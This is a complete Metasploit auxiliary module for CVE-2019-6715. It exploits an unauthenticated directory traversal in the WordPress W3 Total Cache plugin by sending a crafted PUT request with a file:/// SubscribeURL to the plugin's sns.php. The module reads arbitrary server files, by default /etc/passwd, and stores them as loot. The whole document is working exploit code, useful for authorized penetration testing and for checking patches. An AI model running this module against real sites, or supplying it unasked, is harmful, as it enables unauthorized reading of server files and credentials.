WordPress W3 Total Cache 0.9.3 File Read / Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
#  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'WordPress W3 Total Cache File Read Vulnerability',  
'Description' => %q{  
This module exploits an unauthenticated directory traversal vulnerability  
in WordPress plugin  
'W3 Total Cache' version 0.9.2.6-0.9.3, allowing arbitrary file read with  
the web server privileges.  
},  
'References' =>  
[  
['CVE', '2019-6715'],  
['WPVDB', '9248'],  
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2019-6715'],  
['URL','https://vinhjaxt.github.io/2019/03/cve-2019-6715'],  
],  
'Author' =>  
[  
'VinhJAXT', # Vulnerability discovery  
'Hoa Nguyen - SunCSR Team' # Metasploit module  
],  
'DisclosureDate' => '2014-09-20',  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),  
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 2])  
]  
)  
end  
  
def check  
check_plugin_version_from_readme('w3-total-cache', '0.9.4', '0.9.26')  
end  
  
def run_host(ip)  
traversal = '../' * datastore['DEPTH']  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ %r{^/}  
  
json_body = { 'Type' => "SubscriptionConfirmation",  
'Message' => '',  
'SubscribeURL' => "file:///#{traversal}#{filename}"  
}  
  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(wordpress_url_plugins, 'w3-total-cache', 'pub','sns.php'),  
'ctype' => 'application/json',  
'data' => JSON.generate(json_body)  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
fail_with Failure::NotVulnerable, 'Connection failed. Nothing was downloaded' unless res.code == 200  
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?  
  
print_status('Downloading file...')  
print_line("\n#{res.body}\n")  
  
fname = datastore['FILEPATH']  
path = store_loot(  
'w3_total_cache.traversal',  
'text/plain',  
ip,  
res.body,  
fname  
)  
print_good("File saved in: #{path}")  
end  
end  
  
`